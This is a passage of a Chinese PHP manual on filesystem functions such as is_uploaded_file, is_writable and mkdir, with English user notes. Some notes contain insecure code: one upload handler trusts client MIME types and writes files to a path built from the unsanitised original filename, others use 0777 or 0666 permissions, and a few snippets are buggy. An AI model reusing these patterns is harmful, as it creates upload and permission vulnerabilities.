$runText = "osascript << EOS\n{$getAliasTarget}\nEOS\n";
$target = trim( shell_exec( $runText ) );
return ( $target == "" ? false : true );
}
?>
jr at cnb dot uam dot es
31-May-2005 02:31
Why don't you just try

is_dir("$pathname/.")

instead?

If $pathname is a directory, $pathname/. is itself and is a directory too.

If $pathname is a link to a directory, then $pathname/. is the actual directory pointed at and is a directory as well.

If $pathname is a link to a non-directory, then $pathname/. does not exist and returns FALSE, as it should.

A lot easier, more readable and intuitive.
andudi at gmx dot ch
03-Jun-2002 01:44
On my SuSE 7.2 is_link does not work on directories, but to find out, if a dir is a link, I use now this:

$linkdir = $path.$linkdirname;
if (realpath($linkdir) != realpath($path)."/".$linkdirname):
//$linkdir is a symbolic linked dir!
...

and this works fine :-)

Andreas Dick
aris at riponce dot com
27-Mar-2001 06:27
If you test a symbolic (soft) link with is_file() it will return true. Either use filetype() which always returns the correct type OR make sure that you FIRST test with is_link() before you do with is_file() to get the correct type.
add a note add a note

后退 | 起点 | 前进
is_file | 上一级 | is_readable


is_readable

(PHP 3, PHP 4, PHP 5)

is_readable -- 判断给定文件名是否可读

说明

bool is_readable ( string filename )

如果文件存在并且可读则返回 TRUE。

记住 PHP 也许只能以运行 webserver 的用户名（通常为 'nobody'）来访问文件。不计入安全模式的限制。

例子 1. is_writable() 例子

<?php
$filename = 'test.txt';
if (is_readable($filename)) {
    echo 'The file is readable';
} else {
    echo 'The file is not readable';
}
?>

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

参见 is_writable()，file_exists() 和 fgets()。

add a note add a note User Contributed Notes
jo at durchholz dot org
31-Jan-2006 01:15
DrTebi at yahoo dot com is wrong. is_readable() checks whether you can do file_get_contents() or similar calls, no more, no less. If the location given returns a 500 or 403 error, you can still read() that (you'll simply get the error page), but it's still read()able. Using is_readable to check the validity of a URL is simply the wrong function.
DrTebi at yahoo dot com
14-Oct-2005 12:22
Be careful when using is_readable on symbolic links.

is_readable will return true if the file the symbolic link is pointing to is readable.

The problem is that if the server does NOT allow to follow symbolic links, is_readable will still return true, but e.g. redirecting to the sybolic link will not work. For Apache, make sure that at the server, virtual host configuration level, or inside a directory container you have set
Options +FollowSymLinks

As an example, let's say you have at the document root directory:
index.php -- the script using is_readable
my_linked_page.html -- a regular HTML page
my_link -- a link pointing to my_linked_page.html

Now in index.php:
<?php
if (is_readable('my_link')) {
  header('Location: /my_link');
}
?>

If FollowSymLinks is forbidden, this will not work, if allowed, it will.
27-Jul-2005 10:08
Sometimes in situations where file_exists fails (returns false even though the file does exist) stat will work.
php dot 5 dot ce at spamgourmet dot com
12-Jan-2005 10:32
If you are using ACL, watch out for Bug #30931 (now open without any reaction for about 2 month, alltough an solution exists.)
takeda at takeda dot tk
07-Jun-2003 12:36
this function also can be used if you want check permissions for directory.
add a note add a note

后退 | 起点 | 前进
is_link | 上一级 | is_uploaded_file


is_uploaded_file

(PHP 3 >= 3.0.17, PHP 4 >= 4.0.3, PHP 5)

is_uploaded_file -- 判断文件是否是通过 HTTP POST 上传的

说明

bool is_uploaded_file ( string filename )

如果 filename 所给出的文件是通过 HTTP POST 上传的则返回 TRUE。这可以用来确保恶意的用户无法欺骗脚本去访问本不能访问的文件，例如 /etc/passwd。

这种检查显得格外重要，如果上传的文件有可能会造成对用户或本系统的其他用户显示其内容的话。

为了能使 is_uploaded_file() 函数正常工作，必段指定类似于 $_FILES['userfile']['tmp_name'] 的变量，而在从客户端上传的文件名 $_FILES['userfile']['name'] 不能正常运作。

例子 1. is_uploaded_file() 例子

<?php

if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
   echo "File ". $_FILES['userfile']['name'] ." uploaded successfully.\n";
   echo "Displaying contents\n";
   readfile($_FILES['userfile']['tmp_name']);
} else {
   echo "Possible file upload attack: ";
   echo "filename '". $_FILES['userfile']['tmp_name'] . "'.";
}

?>

is_uploaded_file() 仅可用于 PHP 3 的 3.0.16 版之后，以及 PHP 4 的 4.0.2 版之后。如果你执意要用老版本，可以用下面的函数来保护自己：

注: 以下例子不能用于 PHP 4 的 4.0.2 版之后。它依赖的 PHP 内部函数在该版本之后改变了。

例子 2. is_uploaded_file() 可运行于 PHP 4 < 4.0.3 的例子

<?php
/* Userland test for uploaded file. */
function is_uploaded_file($filename)
{
    if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
        $tmp_file = dirname(tempnam('', ''));
    }
    $tmp_file .= '/' . basename($filename);
    /* User might have trailing slash in php.ini... */
    return (ereg_replace('/+', '/', $tmp_file) == $filename);
}

/* This is how to use it, since you also don't have
* move_uploaded_file() in these older versions: */
if (is_uploaded_file($HTTP_POST_FILES['userfile'])) {
    copy($HTTP_POST_FILES['userfile'], "/place/to/put/uploaded/file");
} else {
    echo "Possible file upload attack: filename '$HTTP_POST_FILES[userfile]'.";
}
?>

参见 move_uploaded_file()，以及文件上传处理一章中的简单使用例子。

add a note add a note User Contributed Notes
tejas at kaushalam dot com
29-Mar-2006 03:28
<FORM ENCTYPE="multipart/form-data" ACTION="_URL_" METHOD=POST>
Upload this file: <INPUT NAME="userfile" TYPE="file">
<INPUT TYPE="submit" VALUE="Send File"></FORM>

This html code will display a text area with file upload button. The form tag is bit different than the normal form tag used ( see the encrypte =).

Now let us go to the php part to handle the uploaded file. We have In PHP 3, the following variables will be defined within the destination script upon a successful upload, assuming that register_globals is turned on in php3.ini. If track_vars is turned on, they will also be available in PHP 3 within the global

array $HTTP_POST_VARS. Note that the following variable names assume the use of the file upload name 'userfile', as used in the example above:

   * $userfile - The temporary filename in which the uploaded file was stored on the server machine.
   * $userfile_name - The original name or path of the file on the sender's system.
   * $userfile_size - The size of the uploaded file in bytes.
   * $userfile_type - The mime type of the file if the browser provided this information. An example would be "image/gif".

With all these info we will make our script ready to handle the files.
Let us check the file size and we will not allow file size more than 250 KB to get uploaded to our server. Here we are using a flag $file_upload to false for processing the file upload.

if ($userfile_size >250000){$msg=$msg."Your uploaded file size is more than 250KB so please reduce the file size and then upload. Visit the help page to know how to reduce the file size.<BR>";
$file_upload="false";}

Now let us check the file extension and only jpg or gif file pictures we will allow into our server. We will check this by using $userfile_type extension

if (!($userfile_type =="image/pjpeg" OR $userfile_type=="image/gif")){$msg=$msg."Your uploaded file must be of JPG or GIF. Other file types are not allowed<BR>";
$file_upload="false";}
We will limit ourselves to these two type checks and if we find our $file_upload variable is not "false" then we can upload the file. This part is very simple in PHP and can be done in one step. Before that let us decide the file directory name where we will be placing the file. $add is the path with the file name relative to the script running this code where the uploaded file will be stored.

$add="upload/$userfile_name"; // the path with the file name where the file will be stored, upload is the directory name.

Now let us copy the file to server. The command move_uploaded_file will does that job for us and if the action is successful then it will return true.

if(move_uploaded_file ($userfile, $add)){
// do your coding here to give a thanks message or any other thing.
}else{echo "Failed to upload file Contact Site admin to fix the problem";}
Thats all... the file is placed in our directory (name: upload)
YLearn
11-Oct-2005 01:42
Just looked at what I posted again and found several mistakes of the major and minor sort.  That's what I get for posting before I finish my coffee.  This should work better (i.e. should work in the first place):

<?php
   default: //a default error, just in case!  :)
       echo "There was a problem with your upload.";
       $err_msg = "Unrecognized file POST error: ".$HTTP_POST_FILES['userfile']['error'];
       if (!(strpos($err_msg, "\n") === false)) {
           $err_lines = explode("\n", $err_msg);
           foreach ($err_lines as $msg) {
               error_log($msg, 0);
           }
       } else {
           error_log($err_msg, 0);
       }
       break;
?>
YLearn
11-Oct-2005 12:41
Regarding topcat's suggested change, I am split on doing that.  I don't like showing users errors that may give them more information than they should have (or show that I haven't provided for that particular error).  But I want to know when there are errors that fall to the default case so I can fix my code.  What I will typically do is write them to the error log something like this modification to metaltoad's post (takes into account the possibility of multi-line errors which error_log doesn't handle well):

<?php
   default: //a default error, just in case!  :)
       echo "There was a problem with your upload.";
       $err_msg = "Unrecognized file POST error: ".$HTTP_POST_FILES['userfile']['error'];
       if ((strpos($err_msg, "\n") === 0) {
           $err_lines = explode("\n", $err_msg);
           foreach ($err_lines as $msg) {
               error_log($msg, 0);
           }
       } else {
           error_log($err_msg, 0)
       }
       break;
?>
juk
19-Sep-2005 06:26
If your $_FILES and $_POST are empty, this can be due to
- the limit set by post_max_size in php.ini
- the limit set by upload_max_filesize in php.ini

Unfortunately the first limit is not reported back as an error code in $_FILES['error'].
topcat
14-Jul-2005 07:56
Just a little tip to info at metaltoad's comment:
It's good practice to print error code when it can't be recognized:

   default: //print the error code
     echo "Unrecognized error code: ".$HTTP_POST_FILES['userfile']['error'];
     break;
24-Apr-2005 03:29
make use u got the enctype="multipart/form-data" in ur form tag otrherwise nothing works... took me two hours to find that out.......
beer UNDRSCR nomaed AT hotmail DOT com
15-Apr-2005 07:21
Regarding the comment of info at metaltoad dot net
@ 19-Feb-2003 04:03

<?php
// ... yada yada yada...
preg_match("/.exe$|.com$|.bat$|.zip$|.doc$|.txt$/i", $HTTP_POST_FILES['userfile']['name']))
// ... yada yada yada...
?>

This will not work. It will, but not correctly.
You shuld escape the . (dot) for the preg function,
and escape the $ (dollar) sign for PHP, or use
single-quoted string...

The syntax should be (much shorter and neater):

<?php
// ... yada yada yada...
preg_match('/\\.(exe|com|bat|zip|doc|txt)$/i', $_FILES['userfile']['name']))
// ... yada yada yada...
?>
lots2learn at gmail dot com
07-Feb-2005 01:13
if files are not getting uploaded and $_FILE array is empty ..and your code looks fine..then check php.ini file..the file_uploads option should be turned 'On' to allow file uploads. Turn it on and restart apache to have effect .
Gordon Luk
05-Oct-2004 06:55
If the $_FILES array suddenly goes mysteriously empty, even though your form seems correct, you should check the disk space available for your temporary folder partition. In my installation, all file uploads failed without warning. After much gnashing of teeth, I tried freeing up additional space, after which file uploads suddenly worked again.
vbudov_yahoo.com
22-May-2004 07:58
Before moving the file in to place it's also a good idea to check if file with the same name already exists on the server.
If file exists then create unique name for the new file.

$num=1;
while (file_exists($destination)){
   $num++; // if previous file name existed then thy another number+_+filename
   $file_name = $num."_".$_FILES['userfile']['name'];
   $destination = $uploadpath.$file_name;
}
move_uploaded_file( $source, $destination );
phpnetmark at nunswithguns dot co dot uk
17-Apr-2003 01:53
If you are importing the uploaded file into a BLOB field in a mysql database and you are using LOAD_FILE() sql statement then be aware that  mysql checks max-allowed-packet mysql variable.

- if the size of the binary file LOAD_FILE is importing is bigger than
max-allowed-packet size then it LOAD_FILE will return null.

You can specify max-allowed-packet size in the call to mysqld eg:

./bin/safe_mysqld --user=mysql --max-allowed-packet=16M &

Full info on this variable is available here:
http://www.mysql.com/doc/en/Packet_too_large.html
info at metaltoad dot net
20-Feb-2003 05:03
As of PHP 4.2.0, rather than automatically assuming a failed file uploaded is a file attack, you can use the error code associated with the file upload to check and see why the upload failed.  This error code is stored in the userfile array (ex: $HTTP_POST_FILES['userfile']['error']).

Here's an example of a switch:

if (is_uploaded_file($userfile)) {

  //include code to copy tmp file to final location here...

}else{
  switch($HTTP_POST_FILES['userfile']['error']){
   case 0: //no error; possible file attack!
     echo "There was a problem with your upload.";
     break;
   case 1: //uploaded file exceeds the upload_max_filesize directive in php.ini
     echo "The file you are trying to upload is too big.";
     break;
   case 2: //uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the html form
     echo "The file you are trying to upload is too big.";
     break;
   case 3: //uploaded file was only partially uploaded
     echo "The file you are trying upload was only partially uploaded.";
     break;
   case 4: //no file was uploaded
     echo "You must select an image for upload.";
     break;
   default: //a default error, just in case!  :)
     echo "There was a problem with your upload.";
     break;
}

Additionally, by testing the 'name' element of the file upload array, you can filter out unwanted file types (.exe, .zip, .bat, etc).  Here's an example of a filter that can be added before testing to see if the file was uploaded:

//rejects all .exe, .com, .bat, .zip, .doc and .txt files
if(preg_match("/.exe$|.com$|.bat$|.zip$|.doc$|.txt$/i", $HTTP_POST_FILES['userfile']['name'])){
  exit("You cannot upload this type of file.");
}

//if file is not rejected by the filter, continue normally
if (is_uploaded_file($userfile)) {

/*rest of code*/
itadmin at itmusicweb dot co dot uk
28-Nov-2002 10:11
The example brought out does not work as supposed to:

function is_uploaded_file($filename) {
   if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
       $tmp_file = dirname(tempnam('', ''));
   }
   $tmp_file .= '/' . basename($filename);
   /* User might have trailing slash in php.ini... */
   return (ereg_replace('/+', '/', $tmp_file) == $filename);
}

It works only with files under ....4 or 5 kb, other files automatically get the size of 0 bytes. So something must be wrong here. Built-in is_uploaded_file() works good.
troels at NO dot SPAM dot webcode dot dk
15-Oct-2002 03:44
to get the example to work on windows, youll have to add a line, that replaces backslashes with slashes. eg.: $filename = str_replace ("\\", "/", $filename);

also, as someone mentioned, globalizing $HTTP_POST_FILES is a good idea ...

<pre>
/* Userland test for uploaded file. */
function is_uploaded_file($filename)
{
   global $HTTP_POST_FILES;
   if (!$tmp_file = get_cfg_var("upload_tmp_dir")) {
       $tmp_file = dirname(tempnam("", ""));
   }
   $tmp_file .= "/" . basename($filename);
   /* User might have trailing slash in php.ini... */
   // fix for win platform
   $filename = str_replace ("\\", "/", $filename);
   return (ereg_replace("/+", "/", $tmp_file) == $filename);
}
</pre>
r3gan at hotmail dot com
18-Jun-2002 03:24
Remeber, if using $HTTP_POST_FILES inside a function and it doesn't seem to work, try globalizing the array:

function UploadFile() {

   global $HTTP_POST_FILES;

   // rest of your code here

}  // end UploadFile
add a note add a note

后退 | 起点 | 前进
is_readable | 上一级 | is_writable


is_writable

(PHP 4, PHP 5)

is_writable -- 判断给定的文件名是否可写

说明

bool is_writable ( string filename )

如果文件存在并且可写则返回 TRUE。filename 参数可以是一个允许进行是否可写检查的目录名。

记住 PHP 也许只能以运行 webserver 的用户名（通常为 'nobody'）来访问文件。不计入安全模式的限制。

例子 1. is_writable() 例子

<?php
$filename = 'test.txt';
if (is_writable($filename)) {
    echo 'The file is writable';
} else {
    echo 'The file is not writable';
}
?>

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

See also is_readable(),
file_exists(), and
fwrite().

add a note add a note User Contributed Notes
f dot knodt at yotaweb dot de
25-May-2006 01:33
Same here with PHP 5.1.4. is_writable ignores my ACLs and also groups dont work sometimes.
Nils Kuebler
19-Apr-2006 06:15
this one recursivly checks if a folder and all its contents are writeable

<?php
function is_removeable($dir)
{
   $folder = opendir($dir);
   while($file = readdir( $folder ))
   if($file != '.' && $file != '..' &&
       ( !is_writable(  $dir."/".$file  ) ||
       (  is_dir(  $dir."/".$file  ) && !is_removeable(  $dir."/".$file  )  ) ))
   {
   closedir($dir);
   return false;
   }
   closedir($dir);
   return true;
}
?>
greg at gregwhitescarver dotcalm
07-Feb-2006 10:55
In response to Darek:

We have two servers: one running PHP 5.0.4 and Apache 1.3.33, the other running PHP 4.3.5 and Apache 1.3.27.  The PHP 4 server exhibits the behavior you are describing, with is_writable() returning 'false' even though the www user is in the group that owns the file, but the PHP 5 server is returning 'true.'
darek at fauxaddress dot com
01-Feb-2006 02:27
It appears that is_writable() does not check full permissions of a file to determine whether the current user can write to it.  For example, with Apache running as user 'www', and a member of the group 'wheel', is_writable() returns false on a file like

-rwxrwxr-x          root        wheel          /etc/some.file
JimmyNighthawk
12-Sep-2005 05:02
Regarding you might recognize your files on your web contructed by your PHP-scripts are grouped as NOBODY you can avoid this problem by setting up an FTP-Connection ("ftp_connect", "ftp_raw", etc.) and use methods like "ftp_fput" to create these [instead of giving out rights so you can use the usual "unsecure" way]. This will give the files created not the GROUP NOBODY - it will give out the GROUP your FTP-Connection via your FTP-Program uses, too.

Furthermore you might want to hash the password for the FTP-Connection - then check out:
http://dev.mysql.com/doc/mysql/en/Password_hashing.html
claude dot paroz at ne dot ch
06-Apr-2004 07:28
Under Windows, it only returns the read-only attribute status, not the actual permissions (ACL).
See http://bugs.php.net/bug.php?id=27609
agrenier at assertex dot com
02-Apr-2004 08:56
This file_write() function will give $filename the write permission before writing $content to it.

Note that many servers do not allow file permissions to be changed by the PHP user.

<?php
   function file_write($filename, &$content) {
       if (!is_writable($filename)) {
           if (!chmod($filename, 0666)) {
                 echo "Cannot change the mode of file ($filename)";
                 exit;
           };
       }
       if (!$fp = @fopen($filename, "w")) {
           echo "Cannot open file ($filename)";
           exit;
       }
       if (fwrite($fp, $content) === FALSE) {
           echo "Cannot write to file ($filename)";
           exit;
       }
       if (!fclose($fp)) {
           echo "Cannot close file ($filename)";
           exit;
       }
   }
?>
add a note add a note

后退 | 起点 | 前进
is_uploaded_file | 上一级 | is_writeable


is_writeable

(PHP 3, PHP 4, PHP 5)

is_writeable -- is_writable()的别名

说明

本函数是该函数的别名：is_writable()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
is_writable | 上一级 | link


link

(PHP 3, PHP 4, PHP 5)

link -- 建立一个硬连接

说明

bool link ( string target, string link )

link() 建立一个硬连接。如果成功则返回 TRUE，失败则返回 FALSE。

注: 本函数不能作用于远程文件，被检查的文件必须通过服务器的文件系统访问。

注: 本函数未在 Windows 平台下实现。

参见 symlink() 来建立软连接，以及
readlink() 和
linkinfo()。

add a note add a note User Contributed Notes
Guilherme Garnier
26-Apr-2006 02:32
I noticed that, differently from Unix ln command, the second parameter cant be a directory name, i.e., if you want to create a link with the same filename of the target file (obviously on different directories), you must specify the filename on the link parameter.

Example:
Unix ln command:
ln /dir1/file /dir2/  // ok, creates /dir2/file link

PHP link function:
link ("/dir1/file", "/dir2/");  // wrong, gives a "File exists" warning
link ("/dir1/file", "/dir2/file");  // ok, creates /dir2/file link
mmap at upt dot org
15-May-2004 07:28
I think kop is confused regarding the semantics of link's argument order.  The user's comment states that target should not already exist, suggesting that it is the target that is being created.  As with the UNIX hardlink, ln(1), the target is the existing file.  I think kop meant to say php's link() will return an error if the second parameter, the link being created, already exists.

Also, as with the UNIX system call link will fail if the link being created exists on a different filesystem.
kop at meme dot com
25-Sep-2003 05:20
Note that link() will not work if the target already exists, at least as of php 4.1.2.
add a note add a note

后退 | 起点 | 前进
is_writeable | 上一级 | linkinfo


linkinfo

(PHP 3, PHP 4, PHP 5)

linkinfo -- 获取一个连接的信息

说明

int linkinfo ( string path )

linkinfo() 返回 lstat 系统调用所返回的 UNIX C stat 结构中的 st_dev 字段。本函数用来验证一个连接（由 path 所指向的）是否确实存在（使用 stat.h 中的 S_ISLNK 宏同样的方法）。如果出错则返回 0 或 FALSE。

例子 1. linkinfo() 例子

<?php

echo linkinfo('/vmlinuz'); // 835

?>

注: 本函数未在 Windows 平台下实现。

参见 symlink()，link() 和 readlink()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
link | 上一级 | lstat


lstat

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

lstat -- 给出一个文件或符号连接的信息

说明

array lstat ( string filename )

获取由 filename 指定的文件或符号连接的统计信息。本函数和 stat() 函数相同，只除了如果 filename 参数是符号连接的话，则该符号连接的状态被返回，而不是该符号连接所指向的文件的状态。

有关 lstat() 返回的数组结构见手册中 stat() 函数的页面。

注: 本函数的结果会被缓存。更多信息参见 clearstatcache()。

提示: 自 PHP 5.0.0 起本函数也可被某些 URL wrapper 使用。参考附录 L 来看哪些 wrapper 支持 stat() 系列函数的功能。

参见 stat()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
linkinfo | 上一级 | mkdir


mkdir

(PHP 3, PHP 4, PHP 5)

mkdir -- 新建目录

说明

bool mkdir ( string pathname [, int mode] )

尝试新建一个由 pathname 指定的目录。

注意也许想用八进制数指定模式，也就是说该数应以零打头。模式也会被当前的 umask 修改，可以用 umask() 来改变。

注: Mode 在 Windows 下被忽略。自 PHP 4.2.0 起成为可选项。

默认的 mode 是 0777，意味着最大可能的访问权。有关 mode 的更多信息请阅读 chmod() 页面。

例子 1. mkdir() 例子

<?php
mkdir("/path/to/my/dir", 0700);
?>

注: 自 PHP 5.0.0 rmdir() 也可用于某些 URL 封装协议。参见附录 L 的列表看看 rmdir() 支持哪些 URL 封装协议。

注: recursive 参数是 PHP 5.0.0 添加的。

如果成功则返回 TRUE，失败则返回 FALSE。

参见 rmdir()。

add a note add a note User Contributed Notes
jamespilcher1hotmail
08-Apr-2006 08:53
one small gotcha:

mkdir(""), mkdir(false), and mkdir(null) give a "file exists" error. this is also true of a directory name consisting of any string that only contains space characters.

(this was on php 5.1.2 on Windows 2000)
bat at flurf dot net
22-Mar-2006 01:23
A little understanding of LISPlike programming makes this sort of task (recursive mkdir()ing in PHP4) much simpler.  This version works nicely:

<?php
function MakeDirectory($dir, $mode = 0755)
{
  if (is_dir($dir) || @mkdir($dir,$mode)) return TRUE;
  if (!MakeDirectory(dirname($dir),$mode)) return FALSE;
  return @mkdir($dir,$mode);
}
?>

How it works: line one attempts to make the directory, and returns TRUE if it works or if it already exists.  That's the easy case if the parent directories all exist.

Line two trims off the last directory name using dirname(), and calls MakeDirectory recursively on that shorter directory.  If that fails, it returns FALSE, but otherwise we come out of it knowing that the parent directory definitely exists.

Finally, presuming the recursive call worked, once we get to line three we can create the requested directory.

Note the use of @ to suppress warning messages from mkdir.

The beauty of this is that if, say, the great-grandparent directory exists but the grandparent and parent directories don't, the function will simply call itself recursively until it gets high enough up the tree to do some work, then carry on unwinding back until all the new directories have been created.

This is pretty bog-standard recursive programming.  Anyone who can't wrap their head around it after a few minutes of concentration should probably try a career in sales.
Ali Baba
11-Mar-2006 05:26
Greg, your code does not work for me; maybe it has a bug or we have configuration changes. Anyway, this one works to create recursively the directory DIRECTORY.

<?
define ("DIRECTORY", "/tmp/mydir/mysubdir");

do {
   $dir = DIRECTORY;
   while (!is_dir($dir)) {
       $basedir = dirname($dir);
       if ($basedir == '/' || is_dir($basedir))
           mkdir($dir,0777);
       else
           $dir=$basedir;
   }
} while ($dir != DIRECTORY);

?>
19-Jan-2006 01:48
function mkdirs($dir, $mode = 0777, $recursive = true) {
  if( is_null($dir) || $dir === "" ){
   return FALSE;
  }
  if( is_dir($dir) || $dir === "/" ){
   return TRUE;
  }
  if( mkdirs(dirname($dir), $mode, $recursive) ){
   return mkdir($dir, $mode);
  }
  return FALSE;
}
baldurien at club-internet dot fr
18-Jan-2006 07:14
For those wandering about the $recursive flag of mkdir in php5, this function will do what you want ( la java) in php 4:
<?php
/**
 * Create a new directory, and the whole path.
 *
 * If  the  parent  directory  does  not exists, we will create it,
 * etc.
 *
 * @param string the directory to create
 * @param int the mode to apply on the directory
 * @return bool return true on success, false else
 */
function mkdirs($dir, $mode = FS_RIGHTS_D) {
 $stack = array(basename($dir));
 $path = null;
 while ( ($d = dirname($dir) ) ) {
     if ( !is_dir($d) ) {
         $stack[] = basename($d);
         $dir = $d;
     } else {
         $path = $d;
         break;
     }
 }

 if ( ( $path = realpath($path) ) === false )
     return false;

 $created = array();
 for ( $n = count($stack) - 1; $n >= 0; $n-- ) {
     $s = $path . '/'. $stack[$n];
     if ( !mkdir($s, $mode) ) {
         for ( $m = count($created) - 1; $m >= 0; $m-- )
             rmdir($created[$m]);
         return false;
     }
     $created[] = $s;
     $path = $s;
 }
 return true;
}
?>

The main idea here is to use a stack to store the invalid dirname (using basename/dirname), and then pop each item on the stack to create directory from a valid path (here:  $path = realpath($path). If we fails creating one directory, we must remove them in the reverse order of creation (stackes :)).

This works on Windows XP, and it should work on Linux (actually, I did not tested it).

Note that this code is a part of one of my classes (named FileSystem), and that you should use your own basename/realpath/dirname/mkdir/rmdir function instead of php one (even if you use them behind). This will allow you to separate the item of a FileSystem from what is it really (FTP? Local ? Telnet? Teletubbies?)
Sean at seanj dot jcink dot com
24-Dec-2005 10:10
Mkdir will work on parent directories as long as file permissions are right and the openbase restriction is not on.

~Sean
trond at trondhuso dot no
14-Dec-2005 04:10
While researching for this function, I have found out that - at least on my system - mkdir only works when the parent directory is the one your script is in.
eg:
you want to create a directory tmp
mkdir ('tmp', 0775);
will create /path/to/your/script/tmp

but if you this
mkdir ('/path/to/your/tmp', 0755);
or
mkdir ('../tmp', 0755);

both will cause an error - permission denied.

Trond
Slawek Petrykowski
16-Nov-2005 03:20
Kevin Cook wrote: "I could not get the sticky bit set properly using the octal mode: 2775 (rwxrwsr-x)"

Try 02775 instead, Kevin.
killroy /at/ gmail
03-Nov-2005 01:49
Here's a 3 line version, only superficially tested on win:

<?php
function mkdir_recursive($dirName){
 foreach(split('/',dirname($dirName)) as $dirPart)mkdir($newDir="$newDir$dirPart/");
}
?>
Kevin Cook
03-Nov-2005 01:14
I could not get the sticky bit set properly using the octal mode: 2775 (rwxrwsr-x)

$foo='my_directory';

$old_umask = umask(0);
mkdir($foo,2775);
umask($old_umask);

using the above lines renders a directory with permissions:

d-wx-wSrwt  2 www www 4096 Nov  2 11:43 my_directory

Not exactly what I was looking for.

This gets closer to the mark:

$foo='my_directory';

$old_umask = umask(0);
mkdir($foo,0777); // the default chmod
umask($old_umask);

drwxrwsrwx  2 www www 4096 Nov  2 11:46 my_directory
ephraim at coder-board dot info
11-Oct-2005 02:38
When safe_mode is enabled, and you create a directory via mkdir, you can't create a second inside the first because the first folder's user is that one of the webserver and not that one of the script. This is dumb and very annoying :(
greg at NOserberusSPAM dot co dot uk
05-Oct-2005 04:51
Recursive directory creation routine.

This could be adapted to work on Windows but this code is written for use on a Linux/Unix based machine.

<?php

$working_directory = '/path/to/my/work';

do {
   $dir = $working_directory;

   while (!@mkdir($dir,0777)) {
       $dir = dirname($dir);

       if ($dir == '/' || is_dir($dir))
           break;
   }
} while ($dir != $working_directory);

?>
funke
17-Sep-2005 03:51
Ive onlybeen coding in PHP for a couple of months so i Don't have all the syntax tricks down yet.

I wrote this function to create all the dirs in a path if they don't exist. its not actually recursive but i was to lazy to change the name  :)
theoretically i want it to work for both win and nix. As soon my project manager gets me a win box i'm gonna test it out.  anyrevisions to the function below would be appreciated.

<?php
// \

function recur_mkdirs($path, $mode = 0777) //creates directory tree recursively
{
   //$GLOBALS["dirseparator"]
   $dirs = explode($GLOBALS["dirseparator"],$path);
   $pos = strrpos($path, ".");
   if ($pos === false) { // note: three equal signs
       // not found, means path ends in a dir not file
       $subamount=0;
   }
   else {
       $subamount=1;
   }

   for ($c=0;$c < count($dirs) - $subamount; $c++) {
       $thispath="";
       for ($cc=0; $cc <= $c; $cc++) {
           $thispath.=$dirs[$cc].$GLOBALS["dirseparator"];
       }
       if (!file_exists($thispath)) {
           //print "$thispath<br>";
           mkdir($thispath,$mode);
       }

   }

}
?>
Steven Ng
09-Jun-2005 02:37
I had to remove the $path in the CHMOD command before the function worked for me. The function was at the $path directory prior to initiating the CHMOD command, so it tried to go down the $path directory again.

// create directory through FTP connection
function FtpMkdir($path, $newDir) {

       $server='ftp.server.com'; // ftp server
       $connection = ftp_connect($server); // connection

       // login to ftp server
       $user = "me";
       $pass = "pass";
       $result = ftp_login($connection, $user, $pass);

   // check if connection was made
     if ((!$connection) || (!$result)) {
       return false;
       exit();
       } else {
         ftp_chdir($connection, $path); // go to destination dir
       if(ftp_mkdir($connection, $newDir)) { // create directory
       ftp_site($connection, "CHMOD 777 $newDir") or die("FTP SITE CMD failed.");
           return $newDir;
       } else {
           return false;
       }

   ftp_close($connection); // close connection
   }

}
FtpMkdir("path","dir");
David Pullen
29-May-2005 08:20
A simple recursive mkdir function:

<?php

   function RecursiveMkdir($path)
   {
       // This function creates the specified directory using mkdir().  Note
       // that the recursive feature on mkdir() is broken with PHP 5.0.4 for
       // Windows, so I have to do the recursion myself.
       if (!file_exists($path))
       {
           // The directory doesn't exist.  Recurse, passing in the parent
           // directory so that it gets created.
           RecursiveMkdir(dirname($path));

           mkdir($path, 0777);
       }
   }

   if (!file_exists("/path/to/my/file"))
   {
       // Call the recursive mkdir function since the "recursive" feature
       // built in to mkdir() is broken.
       RecursiveMkdir("/path/to/my/file");
   }

?>
roth at egotec dot com
23-May-2005 02:43
The 'mkdir' function doesn't function correctly on Windows when the path
contains forward slashes. The part of the path with the forward slashes
doesn't get created.

mkdir('c:/a/b/c/d', 0775, true);

You get the error message:
Warning: mkdir() [function.mkdir]: No such file or directory

Please use backslashes under Windows or use the constant DIRECTORY_SEPARATOR.

mkdir('c:\a\b\c\d', 0775, true);
mkdir('c:'.DIRECTORY_SEPARATOR.'a'.
DIRECTORY_SEPARATOR.'b'.
DIRECTORY_SEPARATOR.'c'.
DIRECTORY_SEPARATOR.'d', 0775, true);
webmaster2007 at home dot nl
28-Apr-2005 11:27
Maybe you can use this:

<?php
   function open_dir($dir, $newdir){    //The function that will copy the files
       if(file_exists($dir) && file_exists($newdir)){
           $open_dir=opendir($dir);
           while (false !== ($file = readdir($open_dir))) {
               if($file != "." && $file != ".."){
                   if(file_exists($newdir."/".$file) && filetype($newdir."/".$file."/") != "dir"){
                       unlink($newdir."/".$file);
                   }
                   if(filetype($dir."/".$file."/") == "dir"){
                       if(!file_exists($newdir."/".$file."/")){
                           mkdir($newdir."/".$file."/");
                           open_dir($dir."/".$file."/", $newdir."/".$file."/");
                       }
                   }
                   else {
                       copy($dir."/".$file."/", $newdir."/".$file);
                   }
               }
           }
       }
   }

   open_dir("Your source map", "Your destination map"); //Here you can fill in your source en destination map
?>
yknot7 at hotmail dot com
14-Apr-2005 02:59
Add permission using CHMOD in the above mentioned

// create directory through FTP connection
function FtpMkdir($path, $newDir) {

       $server='ftp.server.com'; // ftp server
       $connection = ftp_connect($server); // connection

       // login to ftp server
       $user = "me";
       $pass = "pass";
       $result = ftp_login($connection, $user, $pass);

   // check if connection was made
     if ((!$connection) || (!$result)) {
       return false;
       exit();
       } else {
         ftp_chdir($connection, $path); // go to destination dir
